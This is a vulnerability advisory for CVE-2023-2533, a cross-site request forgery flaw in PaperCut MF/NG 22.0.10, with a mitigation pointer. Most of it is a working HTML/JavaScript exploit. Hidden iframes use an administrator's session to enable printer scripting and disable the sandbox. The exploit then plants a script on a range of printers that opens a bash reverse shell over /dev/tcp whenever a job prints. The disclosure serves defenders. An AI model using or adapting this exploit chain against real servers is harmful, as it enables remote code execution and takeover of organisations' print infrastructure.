Description
PaperCut MF/NG version 22.0.10 allows to persuade an administrator to alter server configurations. This is possible because the application is vulnerable to CSRF.
Vulnerability
A Cross-Site Request Forgery (CSRF) vulnerability has been identified in PaperCut NG/MF, which, under specific conditions, could potentially enable an attacker to alter security settings or execute arbitrary code. This could be exploited if the target is an admin with a current login session. Exploiting this would typically involve the possibility of deceiving an admin into clicking a specially crafted malicious link, potentially leading to unauthorized changes.
Exploit
<!DOCTYPE html>
<html>
<body>
<script>
const resetSearchField = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=&doQuickFind=Continuar';
const setPage21 = 'http://localhost:9191/app?service=direct/1/ConfigEditor/table.tablePages.linkPage&sp=AConfigEditor%2Ftable.tableView&sp=21';
const enablePrintScript = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240%2C%24TextField%240%240%2C%24Submit%241%2C%24Submit%240%240%2C%24TextField%240%241%2C%24Submit%242%2C%24Submit%240%241%2C%24TextField%240%242%2C%24Submit%243%2C%24Submit%240%242%2C%24TextField%240%243%2C%24Submit%244%2C%24Submit%240%243%2C%24TextField%240%244%2C%24Submit%245%2C%24Submit%240%244%2C%24TextField%240%245%2C%24Submit%246%2C%24Submit%240%245%2C%24TextField%240%246%2C%24Submit%247%2C%24Submit%240%246%2C%24TextField%240%247%2C%24Submit%248%2C%24Submit%240%247%2C%24TextField%240%248%2C%24Submit%249%2C%24Submit%240%248%2C%24MaskedTextField%2C%24Submit%2410%2C%24Submit%240%249%2C%24TextField%240%249%2C%24Submit%2411%2C%24Submit%240%2410%2C%24TextField%240%2410%2C%24Submit%2412%2C%24Submit%240%2411%2C%24TextField%240%2411%2C%24Submit%2413%2C%24Submit%240%2412%2C%24TextField%240%2412%2C%24Submit%2414%2C%24Submit%240%2413%2C%24TextField%240%2413%2C%24Submit%2415%2C%24Submit%240%2414%2C%24TextField%240%2414%2C%24Submit%2416%2C%24Submit%240%2415%2C%24TextField%240%2415%2C%24Submit%2417%2C%24Submit%240%2416%2C%24TextField%240%2416%2C%24Submit%2418%2C%24Submit%240%2417%2C%24TextField%240%2417%2C%24Submit%2419%2C%24Submit%240%2418%2C%24TextField%240%2418%2C%24Submit%2420%2C%24Submit%240%2419%2C%24TextField%240%2419%2C%24Submit%2421%2C%24Submit%240%2420%2C%24TextField%240%2420%2C%24Submit%2422%2C%24Submit%240%2421%2C%24TextField%240%2421%2C%24Submit%2423%2C%24Submit%240%2422&%24TextField%240=Failed+to+send+your+scanned+fax+document&%24TextField%240%240=Y&%24TextField%240%241=Your+scanned+document+is+too+big%3A%25files%25You+can+try+reducing+the+scanned+document+size+by+using+a+lower+resolution%2C+or+switching+color+mode+to+grayscale+or+black+and+white.+Alternatively%2C+you+can+try+splitting+your+job.If+you+need+to+send+a+larger+scanned+document%2C+please+contact+your+system+administrator.&%24TextField%240%242=Y&%24TextField%240%243=Y&%24TextField%240%244=Failed+to+send+your+scanned+document&%24TextField%240%245=300&%24TextField%240%246=N&%24TextField%240%247=N&%24TextField%240%248=NONE&%24MaskedTextField=&%24TextField%240%249=25&%24TextField%240%2410=DEFAULT&%24TextField%240%2411=&%24TextField%240%2412=&%24TextField%240%2413=Y&%24TextField%240%2414=N&%24TextField%240%2415=&%24TextField%240%2416=0&%24TextField%240%2417=N&%24TextField%240%2418=Y&%24Submit%2420=Actualizar&%24TextField%240%2419=30&%24TextField%240%2420=&%24TextField%240%2421=';
const setPage22 = 'http://localhost:9191/app?service=direct/1/ConfigEditor/table.tablePages.linkPage&sp=AConfigEditor%2Ftable.tableView&sp=22';
const disableSandbox = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240%2C%24TextField%240%240%2C%24Submit%241%2C%24Submit%240%240%2C%24TextField%240%241%2C%24Submit%242%2C%24Submit%240%241%2C%24TextField%240%242%2C%24Submit%243%2C%24Submit%240%242%2C%24TextField%240%243%2C%24Submit%244%2C%24Submit%240%243%2C%24TextField%240%244%2C%24Submit%245%2C%24Submit%240%244%2C%24TextField%240%245%2C%24Submit%246%2C%24Submit%240%245%2C%24TextField%240%246%2C%24Submit%247%2C%24Submit%240%246%2C%24TextField%240%247%2C%24Submit%248%2C%24Submit%240%247%2C%24TextField%240%248%2C%24Submit%249%2C%24Submit%240%248%2C%24TextField%240%249%2C%24Submit%2410%2C%24Submit%240%249%2C%24TextField%240%2410%2C%24Submit%2411%2C%24Submit%240%2410%2C%24TextField%240%2411%2C%24Submit%2412%2C%24Submit%240%2411%2C%24TextField%240%2412%2C%24Submit%2413%2C%24Submit%240%2412%2C%24TextField%240%2413%2C%24Submit%2414%2C%24Submit%240%2413%2C%24TextField%240%2414%2C%24Submit%2415%2C%24Submit%240%2414%2C%24TextField%240%2415%2C%24Submit%2416%2C%24Submit%240%2415%2C%24TextField%240%2416%2C%24Submit%2417%2C%24Submit%240%2416%2C%24TextField%240%2417%2C%24Submit%2418%2C%24Submit%240%2417%2C%24TextField%240%2418%2C%24Submit%2419%2C%24Submit%240%2418%2C%24TextField%240%2419%2C%24Submit%2420%2C%24Submit%240%2419%2C%24TextField%240%2420%2C%24Submit%2421%2C%24Submit%240%2420%2C%24TextField%240%2421%2C%24Submit%2422%2C%24Submit%240%2421%2C%24TextField%240%2422%2C%24Submit%2423%2C%24Submit%240%2422%2C%24TextField%240%2423%2C%24Submit%2424%2C%24Submit%240%2423&%24TextField%240=DEFAULT&%24TextField%240%240=Y&%24TextField%240%241=DEFAULT&%24TextField%240%242=DEFAULT&%24TextField%240%243=Y&%24TextField%240%244=1440&%24TextField%240%245=&%24TextField%240%246=-1&%24TextField%240%247=40&%24TextField%240%248=20&%24TextField%240%249=2&%24TextField%240%2410=-1&%24TextField%240%2411=3.0&%24TextField%240%2412=DEFAULT&%24TextField%240%2413=DEFAULT&%24TextField%240%2414=-1&%24TextField%240%2415=N&%24Submit%2416=Actualizar&%24TextField%240%2416=0&%24TextField%240%2417=&%24TextField%240%2418=N&%24TextField%240%2419=1683262800000%2C0.0&%24TextField%240%2420=1683262800000%2C1&%24TextField%240%2421=1683262800000%2C1&%24TextField%240%2422=1683262800000%2C1&%24TextField%240%2423=1683262800000%2C1';
var injectShell = 'http://localhost:9191/app?service=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId=PRINTERID&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%0D%0A++with+%28new+JavaImporter%28java.lang%29%29+%7B%0D%0A++++var+processBuilder+%3D+new+ProcessBuilder%28%22bash%22%2C+%22-c%22%2C+%22%24%40%7C+bash+-i+%3E%26+%2Fdev%2Ftcp%2Flocalhost%2F7777+0%3E%261%22%29%3B%0D%0A++++var+process+%3D+processBuilder.start%28%29%3B%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0A&%24Submit%241=Aplicar';
async function loadIframes() {
await loadIframe(resetSearchField);
await sleep(1000);
await loadIframe(setPage21);
await sleep(1000);
await loadIframe(enablePrintScript);
await sleep(1000);
await loadIframe(setPage22);
await sleep(1000);
await loadIframe(disableSandbox);
await sleep(1000);
for (let printer_id = 1002; printer_id <= 1024; printer_id++) {
injectShell = injectShell.replace("PRINTERID", printer_id)
await loadIframe(injectShell);
}
function loadIframe(url) {
return new Promise((resolve) => {
const iframe = document.createElement('iframe');
iframe.src = url;
iframe.style.display = 'none';
iframe.onload = () => {
resolve();
};
document.body.appendChild(iframe);
});
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
}
loadIframes();
</script>
</body>
</html>Evidence of exploitation
It is important to clarify that we only need an administrator to perform the necessary configurations with the CSRF that will later enable the RCE. This RCE is triggered when anyone on the network sends a print job to an infected printer.
Unlike administrators, a user without administrative privileges, within the network where the printers are configured, will need the Mobility Print extension to be able to see the printers configured by the administrator of the PaperCut instance, and thus be able to send the print job to the infected printer.
Our security policy
We have reserved the ID CVE-2023-2533 to refer to this issue from now on. Disclosure policy
System Information
Version: PaperCut MF/NG 22.0.10 (Build 65996 2023-03-27)
Operating System: MacOS
Mitigation
An updated version of PaperCut is available at the vendor page.
References
